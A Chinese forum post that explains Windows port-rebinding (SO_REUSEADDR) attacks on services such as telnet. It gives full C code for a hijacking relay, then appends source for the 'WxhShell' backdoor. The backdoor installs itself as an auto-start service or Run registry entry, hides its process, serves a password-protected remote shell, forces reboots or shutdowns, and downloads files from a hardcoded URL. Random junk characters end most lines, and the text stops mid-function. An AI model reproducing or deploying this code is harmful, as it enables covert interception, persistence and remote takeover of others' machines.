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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9]%2Yb8SC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~%L=<TBAc  
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  saddr.sin_family = AF_INET; 7g>|e  
h?Lp9VF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L/?jtF:o  
xzXNcQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zJ30ZY:  
@TJ2 |_s6]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8?N![D\@  
QlMv_|`9  
  这意味着什么?意味着可以进行如下的攻击: K=1prv2  
WH_ W:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i ?%_P u  
*?pnTQs^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YYhN>d$  
_>J`e7j+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F~sUfqiJ'  
t|m=X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WD@v<Wx)  
=Eb$rc)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;}H*|"z;!  
.*B@1q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E[Q2ZqhgbP  
0Ibe~!EiQJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q"i]&dMr  
Rn*@)5  
  #include z.Vf,<H  
  #include pQi|PQq  
  #include .I0M'L~!/L  
  #include    3el/,v|qj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !l5@L\   
  int main() E9\u^"GVO  
  { P@5}}vwS  
  WORD wVersionRequested; lnGg1/  
  DWORD ret; D*/fY=gK  
  WSADATA wsaData; _jb&=f8  
  BOOL val; A=sz8?K+`  
  SOCKADDR_IN saddr; 4Uhh]/  
  SOCKADDR_IN scaddr; h_Ssm{C\  
  int err; t?H sfN  
  SOCKET s; mNlbiB  
  SOCKET sc;  7LB%7~{<  
  int caddsize; @KRia{  
  HANDLE mt; `CRF E5  
  DWORD tid;   0oe2X1.%  
  wVersionRequested = MAKEWORD( 2, 2 ); N;a'`l  
  err = WSAStartup( wVersionRequested, &wsaData ); WfHa  
  if ( err != 0 ) { Lvrflx*Q  
  printf("error!WSAStartup failed!\n"); A ^t _"J  
  return -1; @~}~;}0x  
  } RivhEc1h%  
  saddr.sin_family = AF_INET; ?{P$|:ha  
   >sZ_I?YDs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FX!Qd&kl1  
9g|99Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }USOWsLSt  
  saddr.sin_port = htons(23); m%nRHT0KAf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _>bk'V7  
  { TK0WfWch  
  printf("error!socket failed!\n"); 7m%[$X`  
  return -1; BMtk/r/  
  } &dPI<HlM  
  val = TRUE; N85ZbmU~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FNs$k=* 8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  U02  
  { FOhq&\nkU  
  printf("error!setsockopt failed!\n"); Gx*B(t]4y  
  return -1; 3 }3C*w+  
  } 0+k..l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +R7pdi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BSL+Gjj~}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =b8u8*ua  
B.!&z-)#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T oT('  
  { jZH4]^De  
  ret=GetLastError(); uqD|j:~ =k  
  printf("error!bind failed!\n"); 1SH]$V4C  
  return -1; Yr\quinLL  
  } ,4=mlte"  
  listen(s,2); $wyPGok  
  while(1) QX42^]({;c  
  { 2.^CIJc  
  caddsize = sizeof(scaddr); "YAnGGx)LZ  
  //接受连接请求 >*uj )u%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \}\# fg  
  if(sc!=INVALID_SOCKET) O`I}Lg]~q  
  { EnmMFxu<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qDqy9u:g  
  if(mt==NULL) +~|Jn_:A f  
  { G.$KP  
  printf("Thread Creat Failed!\n"); Dbb=d8utE  
  break; e}n(mq  
  } FAdTp.   
  } o+L [o_er  
  CloseHandle(mt); m2&Vm~Py6b  
  } I`s~.fZt  
  closesocket(s); "3'a.b akw  
  WSACleanup(); omznSL  
  return 0; 'V8o["P  
  }   \qTp#sF  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^y%8_r&  
  { JDW/Mc1bh  
  SOCKET ss = (SOCKET)lpParam; B%`| W@v  
  SOCKET sc; .V\~#Ro$G  
  unsigned char buf[4096]; hi4-Z=pl  
  SOCKADDR_IN saddr; )L7[;(gQ  
  long num; @ 'c(q=K;  
  DWORD val; 2jlz#Sk  
  DWORD ret; XB@i{/6K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l5]R*mR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h6bvUI+|h  
  saddr.sin_family = AF_INET; "a(e2H2&T4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eCWF0a  
  saddr.sin_port = htons(23); F+?i{$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XfflD9M  
  { &g>M Z" Z|  
  printf("error!socket failed!\n"); cP4C<UG  
  return -1; <FAbImE}  
  } e&E7_  
  val = 100; 9Z f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :hcOceNz  
  { ]1eZ<le`6  
  ret = GetLastError(); hTWZIW@  
  return -1; 0!RP7Sx  
  } 7HQL^Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "kC6G%  
  { &ld<fa(w+2  
  ret = GetLastError(); :5'hd^Q  
  return -1; yE.st9m  
  } nf[KD,f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gI9nxy  
  { 8k)*f+1o  
  printf("error!socket connect failed!\n"); ,1cpV|mAr  
  closesocket(sc); Y]Z&  
  closesocket(ss);  deq5u>  
  return -1; 9P,[MZ  
  } JG&E"j#q  
  while(1) 6`%|-o :  
  { LpI4R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2Dt^W.!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N"tX K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  DZ4gp  
  num = recv(ss,buf,4096,0); >;F}>_i  
  if(num>0) /reGT!u  
  send(sc,buf,num,0); x>,wmk5)  
  else if(num==0) oB>#P-V  
  break; dcTZL$  
  num = recv(sc,buf,4096,0); ic3Szd^4  
  if(num>0) 2}bXX'Y  
  send(ss,buf,num,0); XH0o8\.  
  else if(num==0) y|i(~  
  break; r_FI5f  
  } P.g./8N`z  
  closesocket(ss); Nq^o8q_  
  closesocket(sc); v~W ;&{  
  return 0 ; qx9; "Ut  
  } mKyF<1,m  
wAgV evE  
B5h)F> &G  
========================================================== `sy_'`i>X  
L_|iQwU%  
下边附上一个代码,,WXhSHELL f`K#=_Kq7  
`:R9M+ OX  
========================================================== I,05'edCQ  
+uj;00 D  
#include "stdafx.h" c6=XJvz  
3]@wa!`  
#include <stdio.h> dd;rne v+  
#include <string.h> t;0]d7ey'  
#include <windows.h> 1|s` z  
#include <winsock2.h> 0v6Z 4Ahpo  
#include <winsvc.h> ;8 *"c  
#include <urlmon.h> ;CoD5F!  
T00sYoK  
#pragma comment (lib, "Ws2_32.lib") \TnK<83  
#pragma comment (lib, "urlmon.lib") {X<_Y<  
;Jb% 2?+=!  
#define MAX_USER   100 // 最大客户端连接数 MtgY `p  
#define BUF_SOCK   200 // sock buffer 2P${5WT  
#define KEY_BUFF   255 // 输入 buffer b"`Q&V.  
Oiqc]4TL  
#define REBOOT     0   // 重启 H#WqO<<v  
#define SHUTDOWN   1   // 关机 xRO9o3  
Snn4RB<(  
#define DEF_PORT   5000 // 监听端口 7q 5 \]J[  
?)-anoFyVW  
#define REG_LEN     16   // 注册表键长度 ;% i-:<ac  
#define SVC_LEN     80   // NT服务名长度 0LP0q9S:9  
<lU(9) L;&  
// 从dll定义API t$p%UyVE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LaZ @4/z!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8Fbt >-N<\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S$P=;#r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tc>g+eS  
(lq%4h  
// wxhshell配置信息 DY/%|w*L  
struct WSCFG { hOV5WO\  
  int ws_port;         // 监听端口 4PR&67|AH_  
  char ws_passstr[REG_LEN]; // 口令 MSp) Jc  
  int ws_autoins;       // 安装标记, 1=yes 0=no F x$W3FIO]  
  char ws_regname[REG_LEN]; // 注册表键名 YACx9K H  
  char ws_svcname[REG_LEN]; // 服务名 blP8"(U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NXz/1ut%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JDp=w,7LF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gxe u2 HG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nE0I[T(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :uqEGnEut  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 - K"L6m|  
6/p9ag]  
}; ti]8_vP}*  
teLZplC=f  
// default Wxhshell configuration 5p-vSWr !  
struct WSCFG wscfg={DEF_PORT, +# !?+'A  
    "xuhuanlingzhe", BLt_(S?Z`  
    1, : Q2=t!  
    "Wxhshell", usu{1&g  
    "Wxhshell", q[Ey!h)xq  
            "WxhShell Service", h Y *^rY'  
    "Wrsky Windows CmdShell Service", 6Bd:R}yZP7  
    "Please Input Your Password: ", 0C"2?etMx  
  1, 7|[Dr@.S  
  "http://www.wrsky.com/wxhshell.exe", *_Ih@f H  
  "Wxhshell.exe" 7 4(bo \  
    }; qC=ZH#  
7C_U:x  
// 消息定义模块 <h<_''+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !+YSc&R_fW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vDR> Q&/K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p]toDy-}  
char *msg_ws_ext="\n\rExit."; V1,~GpNx  
char *msg_ws_end="\n\rQuit."; |TJu|zv^  
char *msg_ws_boot="\n\rReboot..."; jxq89x  
char *msg_ws_poff="\n\rShutdown..."; &Ot9"Aq:  
char *msg_ws_down="\n\rSave to "; x[BA <UNO  
C nD3%%  
char *msg_ws_err="\n\rErr!"; Fa </  
char *msg_ws_ok="\n\rOK!"; OU^I/TU  
O`PQ4Q*F  
char ExeFile[MAX_PATH]; Xg;<?g?k  
int nUser = 0; y.gNjc  
HANDLE handles[MAX_USER]; G[fg!vig#7  
int OsIsNt; <iH"5DEe  
CHL5@gg@>y  
SERVICE_STATUS       serviceStatus; 63t'|9^5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; goD#2lg  
o?3C-A|  
// 函数声明 :Fh_Ya0  
int Install(void); @)z?i  
int Uninstall(void); e;"%h%'  
int DownloadFile(char *sURL, SOCKET wsh); p}K+4z   
int Boot(int flag); |h((SreO  
void HideProc(void); *Ct ^jU7  
int GetOsVer(void); P`_Q-vu  
int Wxhshell(SOCKET wsl); >{rD3X"d  
void TalkWithClient(void *cs); r-[YJzf@P  
int CmdShell(SOCKET sock); z_y@4B6>}  
int StartFromService(void); 'k<~HQr  
int StartWxhshell(LPSTR lpCmdLine); Z%SDN"+'g  
nA=E|$1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M{Vi4ehOq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); / =v1.9(  
C [8='i26  
// 数据结构和表定义 I=YZ!*f/`  
SERVICE_TABLE_ENTRY DispatchTable[] = sd*NY  
{ jT-tsQ .,  
{wscfg.ws_svcname, NTServiceMain}, i^4i]+  
{NULL, NULL} I Vw'YtZ  
}; wc}4:~  
92*"3)  
// 自我安装 `{}DLaD9  
int Install(void) /q"8sj/  
{ 7Fb!;W#X  
  char svExeFile[MAX_PATH]; 3Ea/)EB]  
  HKEY key; y99|V39'  
  strcpy(svExeFile,ExeFile); Xcg+ SOB  
xp\6,Jyh  
// 如果是win9x系统,修改注册表设为自启动 )Oj{x0{\Q  
if(!OsIsNt) { SK,UW6h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,twm)%caU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =}F$r5]  
  RegCloseKey(key); qx?0]!x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bv6~!p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :ee'|c  
  RegCloseKey(key); S9qc34\^=  
  return 0; nfE4rIE4  
    } Dd)L~`k{)  
  } o4aFgal1  
} v.Q+4 k  
else { d! _8+~  
r+h$]OJ  
// 如果是NT以上系统,安装为系统服务 dQNW1-s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1%N[DA^<\  
if (schSCManager!=0) pJ@->V_  
{ ^VjF W  
  SC_HANDLE schService = CreateService sz4;hSTy  
  ( [>:9 #n  
  schSCManager, #[~f 6s9D  
  wscfg.ws_svcname, }SS~uQ;8  
  wscfg.ws_svcdisp, ,mt=)Ac  
  SERVICE_ALL_ACCESS, 9t&m\J >8;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z.U8d(  
  SERVICE_AUTO_START, !XF:.|  
  SERVICE_ERROR_NORMAL, TM,Fab &  
  svExeFile, g6.Tx]?b$  
  NULL, e:|Bn>*  
  NULL, ):5H,B+Vr&  
  NULL, (<Kf  
  NULL, q]P$NeEiZ"  
  NULL E*}1_,q)  
  ); G"*ch$:  
  if (schService!=0) YH0utc  
  { l-6W]\v Z  
  CloseServiceHandle(schService); -8Uz8//A  
  CloseServiceHandle(schSCManager); XILreATK@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M#SGZ~=1r  
  strcat(svExeFile,wscfg.ws_svcname); :g)`V4%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _%PEv{H0.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7qhX `$  
  RegCloseKey(key); l3YS_WBSn  
  return 0; [4\n(/  
    } GbBz;ZV%z,  
  } c7 O$< F  
  CloseServiceHandle(schSCManager); 5 r&n  
} %I%OHs  
} \7 *"M y*  
qW9~S0sl  
return 1; [CG*o>n&|  
} 0G #s/u#  
"jP{m; p  
// 自我卸载 =XZd_v  
int Uninstall(void) `4t*H>:y  
{ 9Cq"Szs  
  HKEY key; o[ 4e_ @E  
Z WhV"]w&  
if(!OsIsNt) { l9F]Lw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T^ RYN  
  RegDeleteValue(key,wscfg.ws_regname); 7[YulC-pH  
  RegCloseKey(key); nztnU9OG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UiN6-{v<2  
  RegDeleteValue(key,wscfg.ws_regname); sN@=Ri?\  
  RegCloseKey(key); ko`KAU<T_  
  return 0; H>|*D~RdT  
  } 4+B OS ~  
} ^ZDpG2(zk  
} $ I|K<slV  
else { d0G d5%  
Y86 mg7[U/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /"7_75 t  
if (schSCManager!=0) kD_616  
{ L9,O,f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k'-5&Q  
  if (schService!=0) (aSY.#;  
  { ~_ |ZUb  
  if(DeleteService(schService)!=0) { crr#tad.  
  CloseServiceHandle(schService); .=/TT|eMS  
  CloseServiceHandle(schSCManager);  7D\:i1~  
  return 0; ew|e66Tw$  
  } -zH` 9>J5|  
  CloseServiceHandle(schService); Ydh+iLjhx  
  } DM3 %+ xY  
  CloseServiceHandle(schSCManager); YC =:W  
} xt X`3=s  
} yMKVF`D*  
t@3y9U$  
return 1; OEXa^M4x   
} >vfbXnN  
[D<"qT^*z6  
// 从指定url下载文件 ?9:~d#p  
int DownloadFile(char *sURL, SOCKET wsh) 2D ' $  
{ 3 UG UZ  
  HRESULT hr; e c4vX  
char seps[]= "/"; .v_-V?7  
char *token; 0yBiio  
char *file; t4r%EP|Zt  
char myURL[MAX_PATH]; Ec l/2  
char myFILE[MAX_PATH]; L31#v$;4  
;;7: l,vy  
strcpy(myURL,sURL); m 9.BU2.  
  token=strtok(myURL,seps); jLF,R7t  
  while(token!=NULL) uu;1B.[b  
  { gEkH5|*Y  
    file=token; N:&EFfg3  
  token=strtok(NULL,seps); >\ x!a:}  
  } {*AYhZ  
! ^TCe8  
GetCurrentDirectory(MAX_PATH,myFILE); "|<U`3y6  
strcat(myFILE, "\\"); {# Vp`ji  
strcat(myFILE, file); G^qt@,n$;  
  send(wsh,myFILE,strlen(myFILE),0); 5PPaR|c3  
send(wsh,"...",3,0); e&ci\x%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^#)]ICV  
  if(hr==S_OK) I|vfxf  
return 0; N7mYE  
else @Avve8S  
return 1; d3tr9B  
GVUZn//  
} +9R@cUr  
lka Wwjv_D  
// 系统电源模块 cX4I+Mf  
int Boot(int flag) F`RPXY`ux  
{ %SN"<O!  
  HANDLE hToken; 4s7&*dJ  
  TOKEN_PRIVILEGES tkp; u/(~ew I  
O("13cU  
  if(OsIsNt) { 8>a%L?BY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9 1ndr@*|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c^x5 E`{  
    tkp.PrivilegeCount = 1; ^H~g7&f9?N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ISi^BFU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W|AK"vf  
if(flag==REBOOT) { GVld]ioycG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y [%<s/  
  return 0; s|9[=JMG  
} ND\M  
else { 2OsS+6,[x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w>TTu: 7  
  return 0; /SD(g@G,  
} ]jgMN7  
  } '))K' u  
  else { /#g P#Z%  
if(flag==REBOOT) { B*AB@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o3(:R0  
  return 0; Vi'zSR28Z  
} Tga%-xr+  
else { %ZM"c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1}ws@hU  
  return 0; -xL^UcG0  
} >Q[3t79^  
} ^:Fj+d  
F-%Hw  
return 1; -SUK [<=X  
} \t?rHB3"  
h8hyQd$!  
// win9x进程隐藏模块 <N,:w`g#  
void HideProc(void) L-1#n  
{ uo-1.[9ds  
}0AoV&75  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @|EWif|  
  if ( hKernel != NULL ) sr-tZ^d5S?  
  { e&-MP;kgW9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fuy"JmeR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wg\MaZ6Di  
    FreeLibrary(hKernel); BI+x6S>d  
  } P`AW8Y6o  
=2e{T J/  
return; ~' w]%rh!  
} 3wN{k\n s  
Q)2i{\GPVn  
// 获取操作系统版本 =buarxk  
int GetOsVer(void) #MUY!  
{ : 22)` ;0  
  OSVERSIONINFO winfo; K8RV=3MBLD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l- $5CO  
  GetVersionEx(&winfo); U<I]_]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t 09-y  
  return 1; ?.^n,[2  
  else l4*vM  
  return 0; _0"s6D$  
} bi[g4,`Z;  
 xq&r|el  
// 客户端句柄模块 1 RVs!;  
int Wxhshell(SOCKET wsl) d'@i8N["{  
{ W<>R;~)  
  SOCKET wsh; W0XfU`  
  struct sockaddr_in client; W5Vh+'3  
  DWORD myID; ]DjnzClx  
Scfe6+\EW  
  while(nUser<MAX_USER) </!GU*  
{ E?S  
  int nSize=sizeof(client); ^j7>Ul,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *JF7 B  
  if(wsh==INVALID_SOCKET) return 1; `Gh J)WA<  
pU1miA '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I(>j"H)cAF  
if(handles[nUser]==0) m ;yIFO  
  closesocket(wsh); 3v ~[kVhoG  
else Q'rgh+6  
  nUser++; = ( 4l  
  } Vp&"[rC_z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M}]4tAyT  
N"s"^}M\  
  return 0; mC} b>\  
} wizLA0W  
r6vI6|1  
// 关闭 socket ~DP5Qi  
void CloseIt(SOCKET wsh) IO7cRg'-F  
{ lC@wCgc  
closesocket(wsh); `*3;sq%`  
nUser--; OV|n/~  
ExitThread(0); s*R UYx  
} XbIxGL  
`6<Qb=  
// 客户端请求句柄 X 4\V4_  
void TalkWithClient(void *cs) >dXB)yl  
{ T%4yPmY  
>4bWXb'S}C  
  SOCKET wsh=(SOCKET)cs; o:`^1  
  char pwd[SVC_LEN]; `=%G&_3_<  
  char cmd[KEY_BUFF]; PLq]\y  
char chr[1]; o)+C4f[G4  
int i,j; AnoA5H  
Pq1j  
  while (nUser < MAX_USER) { Ml6}47n  
'EC0|IT)c  
if(wscfg.ws_passstr) { N ;Cs? C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +/ ?oyC+Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (-xVW#39  
  //ZeroMemory(pwd,KEY_BUFF); iy|;xBI,  
      i=0; a]!u go}  
  while(i<SVC_LEN) { .|@2Uf  
duc\/S'  
  // 设置超时 Q-J} :U  
  fd_set FdRead; Q5]rc`} 5  
  struct timeval TimeOut; m[ER~]L/C  
  FD_ZERO(&FdRead); Tnas$=J  
  FD_SET(wsh,&FdRead); V`@/"Djj  
  TimeOut.tv_sec=8; Z%JAX>v&B  
  TimeOut.tv_usec=0; x"A\ Z-xxz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = u&dU'@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f9t+x+ Z  
I#;.; %u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NR"C@3kD]o  
  pwd=chr[0]; xVTl  
  if(chr[0]==0xd || chr[0]==0xa) { %4})_h?j  
  pwd=0; KQ0f2?  
  break; udPLWrPF\  
  } &5*t*tI  
  i++; DABV}@K"  
    } BwAmNW&i  
{vk%&{D0)  
  // 如果是非法用户,关闭 socket N'0nt]&a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \H 5t-w=  
} 8%p+:6kP5  
),H1z`c&I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WR_B:%W.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4#W*f3d[@:  
L s+zJ1  
while(1) { yq!peFu  
Y=,9M  
  ZeroMemory(cmd,KEY_BUFF); Gn4XVzB`O  
b>]UNf"-  
      // 自动支持客户端 telnet标准   tMXNi\Bj  
  j=0; 4{G>T  
  while(j<KEY_BUFF) { GC|V>| tz#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iFZ.a.NDc  
  cmd[j]=chr[0]; EyHL&  
  if(chr[0]==0xa || chr[0]==0xd) { jI~$iDdOfs  
  cmd[j]=0; H9Vn(A8&`  
  break; `JyI`@,!  
  } ^CD? SP"i  
  j++; ^S 45!mSb  
    } n8JM 0 U-  
aSI%!Vg.  
  // 下载文件 i=&]%T6Qk  
  if(strstr(cmd,"http://")) { )1 QOA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {REGoe=W%  
  if(DownloadFile(cmd,wsh)) VxE;tJ>1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [fY7|  
  else 5mZwg(si  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CZ>Ujw=&k  
  } qRz /$|.  
  else { ( X+2vN  
S;oRE' kk  
    switch(cmd[0]) { ^1<i7u  
  /m i&7C(6  
  // 帮助 ?Ss~!38  
  case '?': { S+*>""=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,$U~<Zd  
    break; !pHI`FeAV  
  } 1$^r@rP  
  // 安装 /FjdcH=  
  case 'i': { G-,0mo  
    if(Install()) OLV3.~T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >CwI(vXn  
    else F+L%Ho;@P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . g-  HB'  
    break; }}bMq.Q'  
    } = J]M#6N0  
  // 卸载 9W-1P}e,  
  case 'r': { i 1Kq (7  
    if(Uninstall()) \GKR(~f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1H-~+lf  
    else }a#=c*+_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7r2p+LP[  
    break; TX7dwmt) N  
    } sHPj_d#  
  // 显示 wxhshell 所在路径 =(~ZmB\  
  case 'p': { /82E[P"}6R  
    char svExeFile[MAX_PATH]; ~Q5]?ZNX  
    strcpy(svExeFile,"\n\r"); [)il_3t  
      strcat(svExeFile,ExeFile); {s8g;yU5  
        send(wsh,svExeFile,strlen(svExeFile),0); s#8T46?  
    break; 0uIBaW3s  
    } &|' NDcp  
  // 重启 irP*:QM  
  case 'b': { :^`WrcOJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FYb]9MX  
    if(Boot(REBOOT)) d[nz0LI|mk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U* uMMb}$  
    else { b *3h}n;  
    closesocket(wsh); \HQ.Pwr 6  
    ExitThread(0); Ocn@JOg  
    } qE VpkvEq  
    break; +}Mm5^6*  
    } ?.n1t@sG&  
  // 关机 \j &&o  
  case 'd': { ` k(Q:  
